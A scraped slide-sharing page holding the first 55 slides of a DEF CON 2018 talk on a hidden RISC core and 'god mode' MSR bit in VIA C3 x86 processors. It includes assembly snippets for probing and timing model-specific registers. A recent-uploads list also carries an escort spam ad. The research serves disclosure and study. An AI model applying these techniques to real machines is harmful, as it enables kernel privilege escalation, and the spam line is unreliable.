BlackHat Asia 2017-Myth and Truth about Hypervisor-Based Kernel ProtectorBlackHat Asia 2017-Myth and Truth about Hypervisor-Based Kernel Protector
BlackHat Asia 2017-Myth and Truth about Hypervisor-Based Kernel Protector
 
Kernel Recipes 2015: Anatomy of an atomic KMS driver
Kernel Recipes 2015: Anatomy of an atomic KMS driverKernel Recipes 2015: Anatomy of an atomic KMS driver
Kernel Recipes 2015: Anatomy of an atomic KMS driver
 
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe ShockwaveHES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
 
Level measurement with Prothermo NMT532
Level measurement with Prothermo NMT532 Level measurement with Prothermo NMT532
Level measurement with Prothermo NMT532
 
HITBSecConf 2016-Create Your Own Bad Usb
HITBSecConf 2016-Create Your Own Bad UsbHITBSecConf 2016-Create Your Own Bad Usb
HITBSecConf 2016-Create Your Own Bad Usb
 
Mtmtipmbprima30 Gb
Mtmtipmbprima30 GbMtmtipmbprima30 Gb
Mtmtipmbprima30 Gb
 
En.cd00161566
En.cd00161566En.cd00161566
En.cd00161566
 

Similar to GOD MODE Unlocked: Hardware backdoors in x86 CPUs

How Triton can help to reverse virtual machine based software protections
How Triton can help to reverse virtual machine based software protectionsHow Triton can help to reverse virtual machine based software protections
How Triton can help to reverse virtual machine based software protectionsJonathan Salwan
 
Armadillos - or how to bypass code readout protection on microcontrollers
Armadillos - or how to bypass code readout protection on microcontrollersArmadillos - or how to bypass code readout protection on microcontrollers
Armadillos - or how to bypass code readout protection on microcontrollersAndrew Tierney
 
8085 microprocessor ramesh gaonkar
8085 microprocessor   ramesh gaonkar8085 microprocessor   ramesh gaonkar
8085 microprocessor ramesh gaonkarjemimajerome
 
Secure container: Kata container and gVisor
Secure container: Kata container and gVisorSecure container: Kata container and gVisor
Secure container: Kata container and gVisorChing-Hsuan Yen
 
Virtual Machines Security Internals: Detection and Exploitation
 Virtual Machines Security Internals: Detection and Exploitation Virtual Machines Security Internals: Detection and Exploitation
Virtual Machines Security Internals: Detection and ExploitationMattia Salvi
 
Super scaling singleton inserts
Super scaling singleton insertsSuper scaling singleton inserts
Super scaling singleton insertsChris Adkin
 
[Kiwicon 2011] Post Memory Corruption Memory Analysis
[Kiwicon 2011] Post Memory Corruption Memory Analysis[Kiwicon 2011] Post Memory Corruption Memory Analysis
[Kiwicon 2011] Post Memory Corruption Memory AnalysisMoabi.com
 
[HITB Malaysia 2011] Exploit Automation
[HITB Malaysia 2011] Exploit Automation[HITB Malaysia 2011] Exploit Automation
[HITB Malaysia 2011] Exploit AutomationMoabi.com
 
Troubleshooting Linux Kernel Modules And Device Drivers
Troubleshooting Linux Kernel Modules And Device DriversTroubleshooting Linux Kernel Modules And Device Drivers
Troubleshooting Linux Kernel Modules And Device DriversSatpal Parmar
 
Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1
Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1
Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1Jagadisha Maiya
 
На страже ваших денег и данных
На страже ваших денег и данныхНа страже ваших денег и данных
На страже ваших денег и данныхPositive Hack Days
 
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...DefconRussia
 
ARM Architecture and Meltdown/Spectre
ARM Architecture and Meltdown/SpectreARM Architecture and Meltdown/Spectre
ARM Architecture and Meltdown/SpectreGlobalLogic Ukraine
 
Deploy STM32 family on Zephyr - SFO17-102
Deploy STM32 family on Zephyr - SFO17-102Deploy STM32 family on Zephyr - SFO17-102
Deploy STM32 family on Zephyr - SFO17-102Linaro
 
Intel® RDT Hands-on Lab
Intel® RDT Hands-on LabIntel® RDT Hands-on Lab
Intel® RDT Hands-on LabMichelle Holley
 
Arm developement
Arm developementArm developement
Arm developementhirokiht
 
[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory Analysis[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory AnalysisMoabi.com
 
WiredTiger In-Memory vs WiredTiger B-Tree
WiredTiger In-Memory vs WiredTiger B-TreeWiredTiger In-Memory vs WiredTiger B-Tree
WiredTiger In-Memory vs WiredTiger B-TreeSveta Smirnova
 

Similar to GOD MODE Unlocked: Hardware backdoors in x86 CPUs (20)

How Triton can help to reverse virtual machine based software protections
How Triton can help to reverse virtual machine based software protectionsHow Triton can help to reverse virtual machine based software protections
How Triton can help to reverse virtual machine based software protections
 
Armadillos - or how to bypass code readout protection on microcontrollers
Armadillos - or how to bypass code readout protection on microcontrollersArmadillos - or how to bypass code readout protection on microcontrollers
Armadillos - or how to bypass code readout protection on microcontrollers
 
Xvisor: embedded and lightweight hypervisor
Xvisor: embedded and lightweight hypervisorXvisor: embedded and lightweight hypervisor
Xvisor: embedded and lightweight hypervisor
 
8085 microprocessor ramesh gaonkar
8085 microprocessor   ramesh gaonkar8085 microprocessor   ramesh gaonkar
8085 microprocessor ramesh gaonkar
 
Secure container: Kata container and gVisor
Secure container: Kata container and gVisorSecure container: Kata container and gVisor
Secure container: Kata container and gVisor
 
Virtual Machines Security Internals: Detection and Exploitation
 Virtual Machines Security Internals: Detection and Exploitation Virtual Machines Security Internals: Detection and Exploitation
Virtual Machines Security Internals: Detection and Exploitation
 
Super scaling singleton inserts
Super scaling singleton insertsSuper scaling singleton inserts
Super scaling singleton inserts
 
[Kiwicon 2011] Post Memory Corruption Memory Analysis
[Kiwicon 2011] Post Memory Corruption Memory Analysis[Kiwicon 2011] Post Memory Corruption Memory Analysis
[Kiwicon 2011] Post Memory Corruption Memory Analysis
 
[HITB Malaysia 2011] Exploit Automation
[HITB Malaysia 2011] Exploit Automation[HITB Malaysia 2011] Exploit Automation
[HITB Malaysia 2011] Exploit Automation
 
Protection 80386
Protection 80386Protection 80386
Protection 80386
 
Troubleshooting Linux Kernel Modules And Device Drivers
Troubleshooting Linux Kernel Modules And Device DriversTroubleshooting Linux Kernel Modules And Device Drivers
Troubleshooting Linux Kernel Modules And Device Drivers
 
Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1
Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1
Troubleshooting linux-kernel-modules-and-device-drivers-1233050713693744-1
 
На страже ваших денег и данных
На страже ваших денег и данныхНа страже ваших денег и данных
На страже ваших денег и данных
 
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
 
ARM Architecture and Meltdown/Spectre
ARM Architecture and Meltdown/SpectreARM Architecture and Meltdown/Spectre
ARM Architecture and Meltdown/Spectre
 
Deploy STM32 family on Zephyr - SFO17-102
Deploy STM32 family on Zephyr - SFO17-102Deploy STM32 family on Zephyr - SFO17-102
Deploy STM32 family on Zephyr - SFO17-102
 
Intel® RDT Hands-on Lab
Intel® RDT Hands-on LabIntel® RDT Hands-on Lab
Intel® RDT Hands-on Lab
 
Arm developement
Arm developementArm developement
Arm developement
 
[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory Analysis[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory Analysis
 
WiredTiger In-Memory vs WiredTiger B-Tree
WiredTiger In-Memory vs WiredTiger B-TreeWiredTiger In-Memory vs WiredTiger B-Tree
WiredTiger In-Memory vs WiredTiger B-Tree
 

More from Priyanka Aash

Digital Personal Data Protection (DPDP) Practical Approach For CISOs
Digital Personal Data Protection (DPDP) Practical Approach For CISOsDigital Personal Data Protection (DPDP) Practical Approach For CISOs
Digital Personal Data Protection (DPDP) Practical Approach For CISOsPriyanka Aash
 
Verizon Breach Investigation Report (VBIR).pdf
Verizon Breach Investigation Report (VBIR).pdfVerizon Breach Investigation Report (VBIR).pdf
Verizon Breach Investigation Report (VBIR).pdfPriyanka Aash
 
Top 10 Security Risks .pptx.pdf
Top 10 Security Risks .pptx.pdfTop 10 Security Risks .pptx.pdf
Top 10 Security Risks .pptx.pdfPriyanka Aash
 
Simplifying data privacy and protection.pdf
Simplifying data privacy and protection.pdfSimplifying data privacy and protection.pdf
Simplifying data privacy and protection.pdfPriyanka Aash
 
Generative AI and Security (1).pptx.pdf
Generative AI and Security (1).pptx.pdfGenerative AI and Security (1).pptx.pdf
Generative AI and Security (1).pptx.pdfPriyanka Aash
 
EVERY ATTACK INVOLVES EXPLOITATION OF A WEAKNESS.pdf
EVERY ATTACK INVOLVES EXPLOITATION OF A WEAKNESS.pdfEVERY ATTACK INVOLVES EXPLOITATION OF A WEAKNESS.pdf
EVERY ATTACK INVOLVES EXPLOITATION OF A WEAKNESS.pdfPriyanka Aash
 
Cyber Truths_Are you Prepared version 1.1.pptx.pdf
Cyber Truths_Are you Prepared version 1.1.pptx.pdfCyber Truths_Are you Prepared version 1.1.pptx.pdf
Cyber Truths_Are you Prepared version 1.1.pptx.pdfPriyanka Aash
 
Cyber Crisis Management.pdf
Cyber Crisis Management.pdfCyber Crisis Management.pdf
Cyber Crisis Management.pdfPriyanka Aash
 
CISOPlatform journey.pptx.pdf
CISOPlatform journey.pptx.pdfCISOPlatform journey.pptx.pdf
CISOPlatform journey.pptx.pdfPriyanka Aash
 
Chennai Chapter.pptx.pdf
Chennai Chapter.pptx.pdfChennai Chapter.pptx.pdf
Chennai Chapter.pptx.pdfPriyanka Aash
 
Cloud attack vectors_Moshe.pdf
Cloud attack vectors_Moshe.pdfCloud attack vectors_Moshe.pdf
Cloud attack vectors_Moshe.pdfPriyanka Aash
 
Stories From The Web 3 Battlefield
Stories From The Web 3 BattlefieldStories From The Web 3 Battlefield
Stories From The Web 3 BattlefieldPriyanka Aash
 
Lessons Learned From Ransomware Attacks
Lessons Learned From Ransomware AttacksLessons Learned From Ransomware Attacks
Lessons Learned From Ransomware AttacksPriyanka Aash
 
Emerging New Threats And Top CISO Priorities In 2022 (Chennai)
Emerging New Threats And Top CISO Priorities In 2022 (Chennai)Emerging New Threats And Top CISO Priorities In 2022 (Chennai)
Emerging New Threats And Top CISO Priorities In 2022 (Chennai)Priyanka Aash
 
Emerging New Threats And Top CISO Priorities In 2022 (Mumbai)
Emerging New Threats And Top CISO Priorities In 2022 (Mumbai)Emerging New Threats And Top CISO Priorities In 2022 (Mumbai)
Emerging New Threats And Top CISO Priorities In 2022 (Mumbai)Priyanka Aash
 
Emerging New Threats And Top CISO Priorities in 2022 (Bangalore)
Emerging New Threats And Top CISO Priorities in 2022 (Bangalore)Emerging New Threats And Top CISO Priorities in 2022 (Bangalore)
Emerging New Threats And Top CISO Priorities in 2022 (Bangalore)Priyanka Aash
 
Cloud Security: Limitations of Cloud Security Groups and Flow Logs
Cloud Security: Limitations of Cloud Security Groups and Flow LogsCloud Security: Limitations of Cloud Security Groups and Flow Logs
Cloud Security: Limitations of Cloud Security Groups and Flow LogsPriyanka Aash
 
Cyber Security Governance
Cyber Security GovernanceCyber Security Governance
Cyber Security GovernancePriyanka Aash
 

More from Priyanka Aash (20)

Digital Personal Data Protection (DPDP) Practical Approach For CISOs
Digital Personal Data Protection (DPDP) Practical Approach For CISOsDigital Personal Data Protection (DPDP) Practical Approach For CISOs
Digital Personal Data Protection (DPDP) Practical Approach For CISOs
 
Verizon Breach Investigation Report (VBIR).pdf
Verizon Breach Investigation Report (VBIR).pdfVerizon Breach Investigation Report (VBIR).pdf
Verizon Breach Investigation Report (VBIR).pdf
 
Top 10 Security Risks .pptx.pdf
Top 10 Security Risks .pptx.pdfTop 10 Security Risks .pptx.pdf
Top 10 Security Risks .pptx.pdf
 
Simplifying data privacy and protection.pdf
Simplifying data privacy and protection.pdfSimplifying data privacy and protection.pdf
Simplifying data privacy and protection.pdf
 
Generative AI and Security (1).pptx.pdf
Generative AI and Security (1).pptx.pdfGenerative AI and Security (1).pptx.pdf
Generative AI and Security (1).pptx.pdf
 
EVERY ATTACK INVOLVES EXPLOITATION OF A WEAKNESS.pdf
EVERY ATTACK INVOLVES EXPLOITATION OF A WEAKNESS.pdfEVERY ATTACK INVOLVES EXPLOITATION OF A WEAKNESS.pdf
EVERY ATTACK INVOLVES EXPLOITATION OF A WEAKNESS.pdf
 
DPDP Act 2023.pdf
DPDP Act 2023.pdfDPDP Act 2023.pdf
DPDP Act 2023.pdf
 
Cyber Truths_Are you Prepared version 1.1.pptx.pdf
Cyber Truths_Are you Prepared version 1.1.pptx.pdfCyber Truths_Are you Prepared version 1.1.pptx.pdf
Cyber Truths_Are you Prepared version 1.1.pptx.pdf
 
Cyber Crisis Management.pdf
Cyber Crisis Management.pdfCyber Crisis Management.pdf
Cyber Crisis Management.pdf
 
CISOPlatform journey.pptx.pdf
CISOPlatform journey.pptx.pdfCISOPlatform journey.pptx.pdf
CISOPlatform journey.pptx.pdf
 
Chennai Chapter.pptx.pdf
Chennai Chapter.pptx.pdfChennai Chapter.pptx.pdf
Chennai Chapter.pptx.pdf
 
Cloud attack vectors_Moshe.pdf
Cloud attack vectors_Moshe.pdfCloud attack vectors_Moshe.pdf
Cloud attack vectors_Moshe.pdf
 
Stories From The Web 3 Battlefield
Stories From The Web 3 BattlefieldStories From The Web 3 Battlefield
Stories From The Web 3 Battlefield
 
Lessons Learned From Ransomware Attacks
Lessons Learned From Ransomware AttacksLessons Learned From Ransomware Attacks
Lessons Learned From Ransomware Attacks
 
Emerging New Threats And Top CISO Priorities In 2022 (Chennai)
Emerging New Threats And Top CISO Priorities In 2022 (Chennai)Emerging New Threats And Top CISO Priorities In 2022 (Chennai)
Emerging New Threats And Top CISO Priorities In 2022 (Chennai)
 
Emerging New Threats And Top CISO Priorities In 2022 (Mumbai)
Emerging New Threats And Top CISO Priorities In 2022 (Mumbai)Emerging New Threats And Top CISO Priorities In 2022 (Mumbai)
Emerging New Threats And Top CISO Priorities In 2022 (Mumbai)
 
Emerging New Threats And Top CISO Priorities in 2022 (Bangalore)
Emerging New Threats And Top CISO Priorities in 2022 (Bangalore)Emerging New Threats And Top CISO Priorities in 2022 (Bangalore)
Emerging New Threats And Top CISO Priorities in 2022 (Bangalore)
 
Cloud Security: Limitations of Cloud Security Groups and Flow Logs
Cloud Security: Limitations of Cloud Security Groups and Flow LogsCloud Security: Limitations of Cloud Security Groups and Flow Logs
Cloud Security: Limitations of Cloud Security Groups and Flow Logs
 
Cyber Security Governance
Cyber Security GovernanceCyber Security Governance
Cyber Security Governance
 
Ethical Hacking
Ethical HackingEthical Hacking
Ethical Hacking
 

Recently uploaded

Benefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksBenefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksSoftradix Technologies
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitecturePixlogix Infotech
 
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphNeo4j
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
Next-generation AAM aircraft unveiled by Supernal, S-A2
Next-generation AAM aircraft unveiled by Supernal, S-A2Next-generation AAM aircraft unveiled by Supernal, S-A2
Next-generation AAM aircraft unveiled by Supernal, S-A2Hyundai Motor Group
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 3652toLead Limited
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 
Azure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAzure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAndikSusilo4
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptxLBM Solutions
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...HostedbyConfluent
 

Recently uploaded (20)

Benefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksBenefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other Frameworks
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC Architecture
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
Next-generation AAM aircraft unveiled by Supernal, S-A2
Next-generation AAM aircraft unveiled by Supernal, S-A2Next-generation AAM aircraft unveiled by Supernal, S-A2
Next-generation AAM aircraft unveiled by Supernal, S-A2
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping Elbows
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 
Azure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & ApplicationAzure Monitor & Application Insight to monitor Infrastructure & Application
Azure Monitor & Application Insight to monitor Infrastructure & Application
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptx
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
 

GOD MODE Unlocked: Hardware backdoors in x86 CPUs

  • 1. { GOD MODE unlocked: Hardware backdoors in x86 CPUs domas / @xoreaxeaxeax / DEF CON 2018
  • 3. disclaimer: The research presented herein was conducted and completed as an independent consultant. None of the research presented herein was conducted under the auspices of my current employer. The views, information and opinions expressed in this presentation and its associated research paper are mine only and do not reflect the views, information or opinions of my current employer.
  • 4. It is perilous to study too deeply the arts of the Enemy, for good or for ill… But such falls and betrayals, alas, have happened before…
  • 6. In the beginning, there was chaos… … then 30 years ago, we were rescued, by the rings of privilege Ring model
  • 8. But we dug deeper… ring -1 : the hypervisor ring -2 : system management mode ring -3 : Q35 / AMT / ME Ring model
  • 9. “ The Enemy still lacks one thing to give him strength and knowledge to beat down all resistance, break down the last defenses, and cover all the lands in a second darkness. He lacks the One Ring ”
  • 10. “Additionally, accessing some of the internal control registers can enable the user to bypass security mechanisms, e.g., allowing ring 0 access at ring 3. In addition, these control registers may reveal information that the processor designers wish to keep proprietary. For these reasons, the various x86 processor manufacturers have not publicly documented any description of the address or function of some control MSRs” - US8341419 Patents
  • 12. (Image of test systems) C3
  • 14. Unable to locate a developer manual Follow a trail of patent breadcrumbs … Backdoor architecture
  • 17. “FIG. 3 shows an embodiment of a cache memory. Referring to FIG. 3, in one embodiment, cache memory 320 is a multi-way cache memory. In one embodiment, cache memory 320 comprises multiple physical sections. In one embodiment, cache memory 320 is logically divided into multiple sections. In one embodiment, cache memory 320 includes four cache ways, i.e., cache way 310, cache way 311, cache way 312, and cache way 314. In one embodiment, a processor sequesters one or more cache ways to store or to execute processor microcode.” - US Patent 8,296,528 Backdoor architecture
  • 18. Following patent breadcrumbs is painful. Backdoor architecture
  • 20. A non-x86 core embedded alongside the x86 core in the C3 “Deeply Embedded Core” (DEC) Shares segments of pipeline with x86 core RISC architecture Pipeline diverges after the fetch phase Partially shared register file Backdoor architecture
  • 21. A global configuration register Exposed to x86 core through a model-specific-register (MSR) Activates the RISC core An x86 launch instruction A new instruction added to the x86 ISA Once the RISC core is active Starts a RISC instruction sequence Backdoor architecture
  • 22. If our assumptions about the deeply embedded core are correct … … it can be used as a sort of backdoor, able to surreptitiously circumvent all processor security checks. Backdoor architecture
  • 23. US8341419: A model-specific-register can be used to circumvent processor security checks US8880851: A model-specific-register can be used to activate a new instruction in x86 US8880851: A launch instruction can be used to switch to a RISC instruction sequence Enabling the backdoor
  • 24. Find an MSR bit that … enables a new x86 instruction … to activate a RISC core … and bypass protections? Enabling the backdoor
  • 25. 64 bit control registers Extremely varied Debugging Performance monitoring Cache configuration Feature configuration Accessed by address, not by name Addresses range from 0x00000000 – 0xFFFFFFFF Accessed with rdmsr and wrmsr instructions Model-specific-registers
  • 26. Accessible only to ring 0 code! Or maybe not. We’ll revisit this later. Model-specific-registers
  • 27. “ …the various x86 processor manufacturers have not publicly documented any description of the address or function of some control MSRs. ” - US8341419 Model-specific-registers
  • 28. Model-specific-registers Undocumented MSRs and MSR bits Sometimes, genuinely not implemented and reserved for future use But common to find undocumented bits that have observable effects
  • 29. Step 1: Which MSRs are implemented by the processor? Model-specific-registers
  • 30. Approach: Set #GP(0) exception handler Load MSR address rdmsr No fault? MSR exists. Fault? MSR does not exist. Model-specific-registers lidt %[new_idt] movl %[msr], %%ecx rdmsr ; MSR exists _handler: ; MSR does not exist
  • 31. Results: 1300 MSRs on target processor Far too many to analyze Model-specific-registers
  • 32. Step 2: Which MSRs are unique? Model-specific-registers
  • 33. mov %[_msr], %%ecx mov %%eax, %%dr0 rdtsc movl %%eax, %%ebx rdmsr rdmsr_handler: mov %%eax, %%dr0 rdtsc subl %%ebx, %%eax Model-specific-registers A side-channel attack Calculate the access time for all 0x100000000 MSRs
  • 35. Observation: Functionally different MSRs will have different access times The ucode backing each MSR is entirely different Functionally equivalent MSRs will have approximately the same access times The ucode backing each MSR is roughly equivalent Differentiate between “like” and “unlike” MSRs “like” MSRs: adjacent MSRs with equal or functionally related access time Model-specific-registers
  • 36.
  • 37. Hypothesis: The global configuration register is unique. It does not have multiple, functionally equivalent versions. Model-specific-registers
  • 38. With the timing side-channel, we identify 43 functionally unique MSRs, from the 1300 implemented MSRs. Model-specific-registers
  • 39. 43 MSRs to analyze = 2752 bits to check Goal: identify which bit activates the launch instruction Upper bound of ~1.3x1036 x86 instructions Scan 1,000,000,000 / second ~1.3x1036 / 1010 / 60 / 60 / 24 / 365 = approximately 1 eternity to scan for a new instruction 2752 bits x 1 eternity per scan = 2752 eternities Model-specific-registers
  • 40. sandsifter Scans the x86 ISA in about a day Still can’t run 2752 times. Model-specific-registers
  • 41. Toggle each of 2752 candidate bits one by one … But these are configuration bits – many will lock, freeze, panic, reset, … Need automation Model-specific-registers
  • 43. Hardwire a relay to the target’s power switch Toggle MSR bits one by one Use a second computer to watch for panics, locks, etc. Toggle the relay when something goes wrong Record which MSR bits can be set without making the target unstable Model-specific-registers
  • 44. ~1 week, 100s of automated reboots Identified which MSR bits can be toggled without visible side effects Model-specific-registers
  • 45. Toggle all stable MSR bits Run sandsifter to audit the processor for new instructions Model-specific-registers
  • 47. Exactly one. 0f3f. The launch instruction
  • 48. GDB + trial and error: The launch instruction is effectively a jmp %eax The launch instruction
  • 49. With 0f3f identified, it is no longer necessary to run complete sandsifter scans Activate candidate MSR bits one by one, attempt to execute 0f3f Find MSR 1107, bit 0 activates the launch instruction The global configuration register
  • 50. We suspect this will unlock the processor, and circumvent all security checks. We call MSR 1107, bit 0 the god mode bit. The god mode bit
  • 51. With the god mode bit discovered … And the launch instruction identified … How do we execute instructions on the RISC core? The x86 bridge
  • 52. Approach: Execute a RISC instruction, and observe its results US8880851
  • 53. Patents suggest the pipeline splits after instructions are fetched So we set the god mode bit, executing the launch instruction, … and … nothing happens. Processor continues executing x86. No visible change. The x86 bridge
  • 54. Trial. Error. Misery. Speculate: Rather than switching decoders, the launch instruction may modify functionality within the x86 decoder The x86 bridge
  • 55. opcode modr/m imm32 imm32 imm32 imm32 x86 Decoder RISC mode? RISC Decoder Pre-decoder Instruction Cache No Yes opcode modr/m imm32 imm32 imm32 imm32 imm32 imm32 imm32 imm32
